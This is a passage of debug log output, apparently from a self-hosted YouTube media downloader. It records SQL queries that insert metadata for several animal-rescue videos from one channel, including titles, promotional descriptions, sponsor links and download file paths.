Storage Unit…", "ffb5cd44-1c19-4349-bcf1-1f83500da4a8", "3h5e0vXKQws", false, "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, [], 2511, false, 4, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, false, 98, ~U[2025-11-22 13:00:59Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned Storage Unit…", "3h5e0vXKQws", "https://www.youtube.com/watch?v=3h5e0vXKQws", 33, 2511, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e112200 - I Found Deadly Animals in an Abandoned Storage Unit….mkv", false, ~U[2025-11-22 13:00:59Z]] 08:29:46.938 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.939 [debug] QUERY OK source="media_items" db=0.8ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-25 12:00:02Z], 33] 08:29:46.940 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "2360c5b4-0e25-45f5-9f76-8f5943b8ee8c", "VRzuXo7JdUI", false, "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, [], 5156, false, 5, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, false, 98, ~U[2025-10-25 12:00:02Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "Today I buy every deadly animal I can find on the dark web to keep as my my pets! From 10ft long snakes, venomous insects, sharks, poisonous frogs, man-eating crabs, to literally anything else you can think of. This video has it all, so buckle in because this is gonna be a wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Bought The Deadliest Animals (to keep as pets)", "VRzuXo7JdUI", "https://www.youtube.com/watch?v=VRzuXo7JdUI", 33, 5156, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e102500 - I Bought The Deadliest Animals (to keep as pets).mkv", false, ~U[2025-10-25 12:00:02Z]] 08:29:46.941 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.942 [debug] QUERY OK source="media_items" db=0.7ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-11 12:00:02Z], 33] 08:29:46.943 [debug] QUERY OK source="media_items" db=1.1ms idle=3.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "dc84e86d-4a0c-4976-bb20-ff690d8bb8e8", "hKgulyjwjWI", false, "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, [], 2665, false, 6, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, false, 98, ~U[2025-10-11 12:00:02Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video I find an abandoned zoo that is still home to tons of crazy animals, like tigers, monkeys, crocodiles, bears, sloths, otters, and anything else you can think of! So, my mission is to explore the entire zoo to see how many animals we can save before it’s too late. I started my search and I managed to find one of the 3 buildings where they kept some of the rare and deadly animals, and I was able to find some rare fish, venomous snakes, chameleons, and even a horned lizard! After that I explored more of the abandoned zoo and I came across a big fish tank that had a massive fly river turtle, which is one of the rarest ones in the world! Clearly we were starting to find a lot of crazy animals, but it didn’t stop there. Because next I found the 2nd building full of animals, and inside was some monitor lizards, a giant bullfrog, big pythons, sugar gliders, and even a couple ferrets! But then I found the biggest animals so far which were 3 sulcata tortoises… However there was still a ton of other animals left in the zoo that were even bigger, so I continued my search and stumbled upon the 3rd and final building which had tons of rare animals in it including poison dart frogs, legless lizards, albino snakes, and so much more! After that I entered the main part of the zoo where they kept the craziest animals, and right away I found an emu which is the 2nd largest bird in the world, and is considered a real-life dinosaur! But it didn’t stop there, I then found an extremely rare toucan inside of a super dirty enclosure… Luckily it was still alive, but since it was so big I had nowhere to put it. This made me realize that the only way for me to save every single animal would be to buy the abandoned zoo, so leave a like if you think I should! But for now there was still a ton of cages and enclosures left to explore, so I kept going and I managed to find a few more animals including turkeys, red foot tortoises, donkeys, and even peacocks! At this point we had explored almost all of the zoo, but there was still 1 more enclosure left and inside was the biggest tortoise I had ever seen! It was so heavy that I couldn’t even lift it up, so the only way to save him would be to buy the abandoned zoo… So if you guys get 300,000 likes on this video I will make a part 2 where I come back and save every single animal!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found an Abandoned Zoo…", "hKgulyjwjWI", "https://www.youtube.com/watch?v=hKgulyjwjWI", 33, 2665, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e101100 - I Found an Abandoned Zoo….mkv", false, ~U[2025-10-11 12:00:02Z]] 08:29:46.944 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.945 [debug] QUERY OK source="media_items" db=0.7ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-30 12:00:03Z], 33] 08:29:46.946 [debug] QUERY OK source="media_items" db=1.0ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "24ac0bf7-8bc8-4a0f-97f7-7d668b15c6fb", "JKT8AxiO87Y", false, "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, [], 1343, false, 7, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, false, 98, ~U[2025-08-30 12:00:03Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today's video, I find an abandoned garage full of sea monsters! Inside is venomous stonefish, monster eels, real life aliens, and even sharks. But sadly, the old owner passed away so its my job to save them before its too late... I started off my netting around in one of the tanks and immediately I found some crazy sea creatures including a sea cucumber, and an orange lobster! But then things started to get really crazy when I started exploring a bigger aquarium, and found a giant pufferfish, a moray eel, and a mystery fish! Things were starting to pick up and I was even finding freshwater creatures including albino frogs, mudskippers, and a monster flowerhorn! After that I suddenly found our first shark of the video, but sadly it wasn't alive meaning we were too late... I moved on and managed to find multiple stonefish, which are the most venomous fish in the world... Luckily I didn't get stung, and I kept netting around and caught some sea urchins, sea horses, starfish, and lobsters! But then, I stumbled upon the deadliest creature so far which was a massive peacock mantis shrimp! After that I spotted a big tank that was filled with axolotls... I netted around the entire tank and saved 7 axolotls, including rare golden and albino ones! But things didn't stop there, I kept going and managed to find a monster moray eel, and multiple sharks... And after saving them the abandoned garage was empty which means we rescued everything inside!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found The World’s Deadliest Sea Monsters…", "JKT8AxiO87Y", "https://www.youtube.com/watch?v=JKT8AxiO87Y", 33, 1343, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e083000 - I Found The World’s Deadliest Sea Monsters….mkv", false, ~U[2025-08-30 12:00:03Z]] 08:29:46.947 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.948 [debug] QUERY OK source="media_items" db=0.8ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-16 12:00:09Z], 33] 08:29:46.949 [debug] QUERY OK source="media_items" db=1.0ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "85b2cc83-77a3-4f16-a40c-5a2323b5a08e", "obiOzEbmVmU", false, "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, [], 977, false, 8, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, false, 98, ~U[2025-08-16 12:00:09Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "If you’re ever injured in an accident, you can check out Morgan & Morgan. You can start your claim in just a click without having to leave your couch. To start your claim, visit: https://www.forthepeople.com/BFP\n—\nIn today’s video, I find dinosaurs in an abandoned pond! After getting a message from a subscriber saying that a real life dinosaur has invaded his pond and has started attacking his fish, I brought my nets and fish traps to see if I could catch it out! But this was not gonna be easy, because the dinosaur in the pond was a massive african lungfish, that have been around for over 400 million years, and can get up to 7ft long! I started my search and right away I caught a gar fish, which is another prehistoric monster… However it wasn’t the one we were after, so I kept going and I found some more crazy fish including piranhas, catfish, freshwater sharks, pufferfish, and even a monster pleco! At this point we had saved so many fish from the abandoned pond, but there was still no sign of the lungfish… So I decided to get into the pond to increase my chances of finding it! I then caught a bunch more monster fish, as well as a rare fly river turtle! But then things started to slow down, so I decided to place 2 fish traps in hopes of catching the real life dinosaur! After a few hours I checked the traps, and inside was some man-eating goonch catfish, piranhas, vampire fish, and even a baby lungfish! But sadly the monster we were after wasn’t inside… So I ended up draining the entire pond, that way I can save every single fish left in here, including the lungfish! As the water got lower, I started seeing more and more fish. And eventually I spotted the dinosaur we’ve been after this entire video, and I caught it! Thankfully we were able to save tons of crazy, rare, and deadly fish from the abandoned pond!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Found a Deadly Monster in an Abandoned Pond…", "obiOzEbmVmU", "https://www.youtube.com/watch?v=obiOzEbmVmU", 33, 977, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e081600 - I Found a Deadly Monster in an Abandoned Pond….mkv", false, ~U[2025-08-16 12:00:09Z]] 08:29:46.950 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.951 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-02 12:00:11Z], 33] 08:29:46.952 [debug] QUERY OK source="media_items" db=0.7ms idle=4.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "45db4490-e2da-4ab9-87cc-69c79638d785", "818YLuzrD-4", false, "https://www.youtube.com/watch?v=818YLuzrD-4", 33, [], 7322, false, 9, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, false, 98, ~U[2025-08-02 12:00:11Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "So far in 2025 I have saved hundreds of animals from abandoned pet stores, dumpsters, polluted sewers, and even abandoned axolotl farms… So I decided to turn all of those crazy videos into one giant movie! In this video, we end up finding axolotls, snakes, frogs, lizards, insects, bunnies, turtles, and so much more! So sit back, relax, and grab some popcorn… Because this is gonna be one wild ride!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "Every Animal i Found in 2025", "818YLuzrD-4", "https://www.youtube.com/watch?v=818YLuzrD-4", 33, 7322, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e080200 - Every Animal i Found in 2025.mp4", false, ~U[2025-08-02 12:00:11Z]] 08:29:46.952 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.953 [debug] QUERY OK source="media_items" db=0.7ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-26 19:00:26Z], 33] 08:29:46.954 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "f79f00dc-9ace-41ce-8ba0-ac4af6c56225", "OqQWifbE3ws", false, "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, [], 1316, false, 10, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, false, 98, ~U[2025-07-26 19:00:26Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video I buy the deadliest insects in the world to keep as my new pets, including spiders, centipedes, bloodworms, scorpions, crabs, and so much more! Why? Well, because all of my life I have been terrified of insects, so I thought what better way to try and get over my fears than to fill my room with the most dangerous, venomous, and horrifying bugs I can find! Will keeping all of these crazy creatures as my pets be a good idea? Or will it be the worst decision i’ve ever made? Watch till the end to find out!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/", "I Bought The Deadliest Insects (to keep as pets)", "OqQWifbE3ws", "https://www.youtube.com/watch?v=OqQWifbE3ws", 33, 1316, false, "/downloads/shows/Bass fishing Productions/Season 2025/s2025e072600 - I Bought The Deadliest Insects (to keep as pets).mkv", false, ~U[2025-07-26 19:00:26Z]] 08:29:46.955 [debug] QUERY OK source="sources" db=0.3ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", 